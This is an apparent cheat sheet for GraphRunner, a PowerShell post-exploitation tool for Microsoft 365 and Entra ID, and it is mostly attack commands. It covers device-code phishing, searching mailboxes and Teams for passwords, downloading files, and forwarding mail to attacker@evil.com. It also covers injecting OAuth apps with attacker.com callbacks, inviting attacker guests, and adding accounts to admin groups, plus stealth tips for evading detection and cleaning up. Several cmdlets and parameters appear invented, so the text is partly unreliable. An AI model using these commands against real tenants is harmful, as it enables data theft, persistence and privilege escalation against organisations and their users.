GraphRunner
GraphRunner is a PowerShell tool that leverages the Microsoft Graph API for post-exploitation operations in Microsoft 365 and Entra ID environments. It enables attackers to enumerate user accounts, access sensitive data, establish persistence, and escalate privileges with valid credentials or tokens.
Installation
섹션 제목: “Installation”Install GraphRunner from the official repository:
# Clone the GraphRunner repository
git clone https://github.com/dafthack/GraphRunner.git
cd GraphRunner
# Import the module (from the GraphRunner directory)
Import-Module ./GraphRunner.ps1
# Verify module is loaded
Get-Command -Module GraphRunner
Alternatively, add GraphRunner to your PowerShell modules directory for system-wide access:
# Copy module to PowerShell modules path
Copy-Item -Path ./GraphRunner -Destination "$PROFILE\..\Modules\" -Recurse
# Import from anywhere
Import-Module GraphRunner
Authentication
섹션 제목: “Authentication”Device Code Flow (Token Acquisition)
섹션 제목: “Device Code Flow (Token Acquisition)”Acquire tokens using device code flow, useful for phishing or obtaining user interaction:
# Acquire tokens via device code flow
Get-GraphTokens -UserAgent
# Authenticate with specific scopes
Get-GraphTokens -ClientID "1b730954-1685-4b74-9bfd-dac224daafdd"
# Output includes UserToken, RefreshToken, and metadata
Token Refresh
섹션 제목: “Token Refresh”Refresh expired access tokens using refresh tokens:
# Refresh user token
Invoke-RefreshGraphTokens -RefreshToken $refreshToken -ClientID $clientID
# Refresh with custom parameters
Invoke-RefreshGraphTokens -RefreshToken $rt -Tenant "contoso.com"
Automated OAuth Flow
섹션 제목: “Automated OAuth Flow”Automate OAuth authentication without manual intervention:
# Automatic OAuth flow with stored credentials
Invoke-AutoOAuthFlow -Username "user@contoso.com" -Password "P@ssw0rd"
# Use device code for interactive auth
Invoke-AutoOAuthFlow -DeviceCode -ClientID $clientID
Token Types and Scopes
섹션 제목: “Token Types and Scopes”| Token Type | Scope | Use Case |
|---|---|---|
| User Token | User.Read, Mail.Read | User account operations |
| App Token | .default | Service principal permissions |
| Delegated | User.ReadWrite.All | Modify user attributes |
| Application | Application.ReadWrite.All | Manage applications |
Enumeration
섹션 제목: “Enumeration”User and Group Enumeration
섹션 제목: “User and Group Enumeration”Enumerate users and groups in the tenant:
# Get all users in tenant
Get-AzureADUsers -AccessToken $accessToken
# Get users with specific filter
Get-AzureADUsers -AccessToken $accessToken -Filter "startswith(userPrincipalName,'admin')"
# Get all security groups
Get-SecurityGroups -AccessToken $accessToken
# Get groups owned by specific user
Get-SecurityGroups -AccessToken $accessToken -Owner "admin@contoso.com"
Updatable Groups
섹션 제목: “Updatable Groups”Identify groups that can be modified:
# Find updatable groups (where token has write permissions)
Get-UpdatableGroups -AccessToken $accessToken
# Returns groups where you have AddMember permissions
# Useful for privilege escalation via group membership
Dynamic Groups
섹션 제목: “Dynamic Groups”Enumerate and analyze dynamic membership rules:
# Get all dynamic groups
Get-DynamicGroups -AccessToken $accessToken
# Extract membership rules for analysis
Get-DynamicGroups -AccessToken $accessToken | Select-Object displayName, membershipRuleProcessingState
SharePoint Site Enumeration
섹션 제목: “SharePoint Site Enumeration”Discover SharePoint sites and document libraries:
# Get all SharePoint sites
Get-SharePointSites -AccessToken $accessToken
# Get specific site details
Get-SharePointSites -AccessToken $accessToken -Site "contoso.sharepoint.com"
# Enumerate document libraries
Get-SharePointSites -AccessToken $accessToken -Libraries
MFA Status Check
섹션 제목: “MFA Status Check”Check which users have multi-factor authentication enabled:
# Get MFA status for all users
Get-MFAStatus -AccessToken $accessToken
# Identify users without MFA (high-value targets)
Get-MFAStatus -AccessToken $accessToken | Where-Object {$_.MFAEnabled -eq $false}
Comprehensive Reconnaissance
섹션 제목: “Comprehensive Reconnaissance”Run full tenant reconnaissance:
# Comprehensive recon of entire tenant
Invoke-GraphRecon -AccessToken $accessToken -OutputFile recon.txt
# Detailed recon with specific focus areas
Invoke-GraphRecon -AccessToken $accessToken -Users -Groups -Applications -Sites -Output detailed_recon.json
Email Operations
섹션 제목: “Email Operations”Search Mailbox
섹션 제목: “Search Mailbox”Search user mailboxes for sensitive information:
# Search mailbox for keyword
Invoke-SearchMailbox -AccessToken $accessToken -User "target@contoso.com" -SearchQuery "password"
# Search with date range
Invoke-SearchMailbox -AccessToken $accessToken -User "target@contoso.com" -SearchQuery "confidential" -StartDate "2024-01-01" -EndDate "2024-12-31"
# Search all mailboxes (requires high privileges)
Invoke-SearchMailbox -AccessToken $accessToken -AllMailboxes -SearchQuery "financial"
Teams Message Search
섹션 제목: “Teams Message Search”Search Teams messages and channels:
# Search Teams for sensitive data
Invoke-SearchTeams -AccessToken $accessToken -SearchQuery "API key"
# Search specific Teams workspace
Invoke-SearchTeams -AccessToken $accessToken -Team "Engineering" -SearchQuery "password"
# Extract messages from specific user
Invoke-SearchTeams -AccessToken $accessToken -User "target@contoso.com"
Read and Send Messages
섹션 제목: “Read and Send Messages”Read user messages and send emails:
# Read recent messages from user's inbox
Get-MailboxMessages -AccessToken $accessToken -User "target@contoso.com" -Folder "Inbox" -Limit 50
# Send email on behalf of user
Send-MailboxMessage -AccessToken $accessToken -User "target@contoso.com" -To "attacker@evil.com" -Subject "Data" -Body "Sensitive data here"
# Create forwarding rule
Set-MailboxRule -AccessToken $accessToken -User "target@contoso.com" -ForwardTo "attacker@evil.com"
Data Exfiltration
섹션 제목: “Data Exfiltration”SharePoint and OneDrive Access
섹션 제목: “SharePoint and OneDrive Access”Download files from cloud storage:
# Search SharePoint and OneDrive for files
Invoke-SearchSharePointAndOneDrive -AccessToken $accessToken -SearchQuery "confidential"
# Download specific file
Invoke-SearchSharePointAndOneDrive -AccessToken $accessToken -FilePath "/sites/Finance/Documents/Budget.xlsx" -Download
# Enumerate all files in specific site
Invoke-SearchSharePointAndOneDrive -AccessToken $accessToken -Site "contoso.sharepoint.com" -Recursive
File Download
섹션 제목: “File Download”Download sensitive files:
# Download file by path
Get-GraphFile -AccessToken $accessToken -FilePath "/drive/root/Documents/secret.docx" -OutputPath ./secret.docx
# Download multiple files
Get-GraphFile -AccessToken $accessToken -FileList @("file1.docx", "file2.xlsx") -OutputPath ./downloaded/
# Enumerate OneDrive contents
Get-GraphFile -AccessToken $accessToken -User "target@contoso.com" -OneDrive -Recursive
Teams and Channel Data Access
섹션 제목: “Teams and Channel Data Access”Extract data from Teams:
# Get Teams list and channels
Get-TeamsData -AccessToken $accessToken
# Download Teams chat history
Get-TeamsData -AccessToken $accessToken -Team "Engineering" -ExportChat -OutputPath ./teams_chat.csv
# Extract Teams shared files
Get-TeamsData -AccessToken $accessToken -Team "Finance" -Files -Download
Group Chat and Direct Messages
섹션 제목: “Group Chat and Direct Messages”Access Teams direct messages:
# Get direct messages
Get-TeamsDM -AccessToken $accessToken -User "target@contoso.com" -Limit 100
# Export DM thread
Get-TeamsDM -AccessToken $accessToken -Conversation "conversation-id" -Export -OutputPath ./messages.csv
Persistence
섹션 제목: “Persistence”OAuth App Injection
섹션 제목: “OAuth App Injection”Inject malicious OAuth applications for persistent access:
# Create and inject OAuth app
Invoke-InjectOAuthApp -AccessToken $accessToken -AppName "WindowsUpdate" -ReplyURL "https://attacker.com/callback"
# Register app with high permissions
Invoke-InjectOAuthApp -AccessToken $accessToken -AppName "GraphHelper" -ReplyURL "https://attacker.com/oauth" -Permissions "Mail.Read", "Calendar.Read", "Files.Read.All"
# Extract app credentials
Invoke-InjectOAuthApp -AccessToken $accessToken -ExistingApp "GraphHelper" -GenerateSecret
Add Application Permissions
섹션 제목: “Add Application Permissions”Escalate app permissions for broader access:
# Add permissions to existing app
Add-ApplicationPermission -AccessToken $accessToken -ApplicationID $appID -Permission "User.ReadWrite.All"
# Grant admin consent for permissions
Add-ApplicationPermission -AccessToken $accessToken -ApplicationID $appID -AdminConsent -Permission "Mail.ReadWrite", "Calendar.ReadWrite"
# Add dangerous permissions for persistence
Add-ApplicationPermission -AccessToken $accessToken -ApplicationID $appID -Permission "RoleManagement.ReadWrite.Directory"
Guest User Invitation
섹션 제목: “Guest User Invitation”Invite external users for persistent access:
# Invite guest user to tenant
Invite-GuestUser -AccessToken $accessToken -GuestEmail "attacker@evil.com" -Message "Join our organization"
# Invite multiple guests
Invite-GuestUser -AccessToken $accessToken -GuestList @("guest1@evil.com", "guest2@evil.com")
# Add guest to sensitive group
Invite-GuestUser -AccessToken $accessToken -GuestEmail "attacker@evil.com" -AddToGroup "Executives"
Privilege Escalation
섹션 제목: “Privilege Escalation”Group Membership Manipulation
섹션 제목: “Group Membership Manipulation”Add users to privileged groups:
# Add user to updatable group
Add-GroupMember -AccessToken $accessToken -GroupID $groupID -UserID $targetUserID
# Add current user to admin group
Add-GroupMember -AccessToken $accessToken -GroupID "62e90394-69f5-4237-9190-012177145e10" -UserID (Get-GraphUser -Self).id
# Bulk add members to sensitive groups
Add-GroupMember -AccessToken $accessToken -GroupID $groupID -UserList @($user1, $user2, $user3)
Exploit Dynamic Groups
섹션 제목: “Exploit Dynamic Groups”Manipulate dynamic group membership rules:
# Get dynamic group rules
Get-DynamicGroupRules -AccessToken $accessToken -GroupID $groupID
# Modify user attributes to match dynamic rules
Set-UserAttribute -AccessToken $accessToken -UserID $userID -Attribute "department" -Value "Executives"
# User automatically added to group via rule update
Application Consent Abuse
섹션 제목: “Application Consent Abuse”Abuse application consent grants for escalation:
# Find overprivileged applications
Get-PrivilegedApps -AccessToken $accessToken
# Grant excessive permissions to compromised app
Grant-AppConsent -AccessToken $accessToken -AppID $appID -Scope "RoleManagement.ReadWrite.Directory"
# Use app token for elevated operations
$appToken = Get-AppToken -RefreshToken $appRefresh
Add-AdminUser -AccessToken $appToken -UserID $newAdminID
Token Manipulation
섹션 제목: “Token Manipulation”Extract and Manage Tokens
섹션 제목: “Extract and Manage Tokens”Work with authentication tokens:
# Extract current token details
$token = Get-GraphTokens -UserAgent
$token | Select-Object -Property AccessToken, RefreshToken, Tenant, ExpiresOn
# Decode JWT token payload
Invoke-DecodeJWT -Token $token.AccessToken
# Check token permissions (scopes)
Invoke-DecodeJWT -Token $token.AccessToken | Select-Object -ExpandProperty scp
Token Refresh and Rotation
섹션 제목: “Token Refresh and Rotation”Maintain token access:
# Refresh before expiration
$newToken = Invoke-RefreshGraphTokens -RefreshToken $token.RefreshToken
# Store for later use
$newToken | Export-Clixml -Path ./token.xml
# Load token for reuse
$token = Import-Clixml -Path ./token.xml
Scope Analysis
섹션 제목: “Scope Analysis”Analyze available scopes:
# List all granted scopes
$token = Get-GraphTokens
Invoke-DecodeJWT -Token $token.AccessToken | Select-Object -ExpandProperty scp
# Request additional scopes
Get-GraphTokens -ClientID $clientID -Scopes "Mail.ReadWrite", "Calendar.ReadWrite.All"
Troubleshooting
섹션 제목: “Troubleshooting”Common Issues
섹션 제목: “Common Issues”| Issue | Cause | Solution |
|---|---|---|
| Token expired | Access token lifetime exceeded | Use refresh token with Invoke-RefreshGraphTokens |
| Access denied | Insufficient permissions | Request additional scopes or use higher-privilege account |
| Module not found | GraphRunner not imported | Import-Module ./GraphRunner.ps1 |
| Rate limited | Too many API calls | Add delays between requests, use batch operations |
| Invalid tenant | Wrong tenant ID provided | Verify tenant GUID or domain name |
Debug Mode
섹션 제목: “Debug Mode”Enable verbose output:
# Enable debug output
$DebugPreference = "Continue"
# Run commands with verbose output
Get-AzureADUsers -AccessToken $accessToken -Verbose
# Capture full API responses
$DebugOutput = Invoke-GraphRecon -AccessToken $accessToken -Debug 2>&1
Token Validation
섹션 제목: “Token Validation”Verify token validity before use:
# Check token expiration
$payload = Invoke-DecodeJWT -Token $accessToken
$expTime = [datetime]::UnixEpoch.AddSeconds($payload.exp)
# Validate token not expired
if ((Get-Date) -lt $expTime) { Write-Host "Token valid" }
else { Write-Host "Token expired, refresh needed" }
Best Practices
섹션 제목: “Best Practices”Operational Security
섹션 제목: “Operational Security”- Refresh tokens frequently to avoid detection patterns
- Use device code flow to avoid direct credential transmission
- Clear PowerShell history:
Clear-History - Remove module traces:
Remove-Module GraphRunner - Use sleep intervals between large enumeration operations
- Avoid searching all mailboxes; target specific users
Token Management
섹션 제목: “Token Management”- Store tokens in memory, not disk
- Encrypt credentials with DPAPI if persistence needed
- Use separate tokens for different operations
- Revoke compromised tokens immediately
- Monitor token refresh patterns for anomalies
Stealth Techniques
섹션 제목: “Stealth Techniques”- Use application permissions for silent operations
- Avoid admin notification events (Add-ApplicationPermission triggers alerts)
- Schedule operations during business hours
- Use service accounts instead of user accounts
- Clean up injected OAuth apps after exfiltration
- Remove guest users after data access
Related Tools
섹션 제목: “Related Tools”| Tool | Purpose |
|---|---|
| ROADtools | Microsoft 365 enumeration and exploitation |
| AzureHound | Entra ID security and permission mapping |
| TokenTactics | Token theft and manipulation |
| AADInternals | Entra ID internal operations |
| Microburst | Azure enumeration and exploitation |
| MicroBurp | Azure Blob Storage exploitation |